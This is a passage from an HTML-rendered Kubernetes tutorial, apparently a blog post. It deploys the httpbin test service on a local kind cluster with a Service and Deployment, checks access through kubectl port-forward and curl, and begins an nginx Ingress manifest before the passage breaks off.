data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eService\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003elabels\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eservice\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eports\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttp\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etargetPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eselector\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapps/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDeployment\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ereplicas\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eselector\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematchLabels\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etemplate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003elabels\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edocker.io/mccutchen/go-httpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eimagePullPolicy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIfNotPresent\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eports\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis is creating a couple of Kubernetes resources:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eService\u003c/code\u003e: This is exposing the port to the ingress\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDeployment\u003c/code\u003e: This is actually launching the service\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo we are not using the ingress yet but we can prove that we can launch the\nservice at least.  So apply those manifests:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-f\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin.yml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eservice/httpbin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreated\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edeployment.apps/httpbin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreated\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should see two pods come up.  You should wait for them to get into the\n\u003ccode\u003eRunning\u003c/code\u003e status:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewide\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNODE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNOMINATED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNODE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADINESS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eGATES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ehttpbin-5c5494967-2z5wz\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e48\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.244\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.3.3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ehttpbin-5c5494967-9lf47\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e72\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.244\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.1.2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-multinode-worker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe can now use port forwarding to access it. \u003ccode\u003ehttpbin\u003c/code\u003e is exposed on \u003ccode\u003e8000\u003c/code\u003e so\nlets create port \u003ccode\u003e9000\u003c/code\u003e on our host that forwards to it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eport-forward\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eservice/httpbin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e9000\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e127.0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0.1:9000\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [::1]:9000 -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e 80\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can access it via:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocalhost:9000/get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"args\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"headers\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Accept\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eUsing Ingress\u003c/h1\u003e\n\u003cp\u003eNow to use the ingress rather than port forwarding we create one additional\nresource, the \u003ccode\u003eIngress\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetworking.k8s.io/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIngress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin-ingress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eannotations\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003enginx.ingress.kubernetes.io/rewrite-target\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/$2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eingressClassName\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erules\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ehttp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epaths\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan 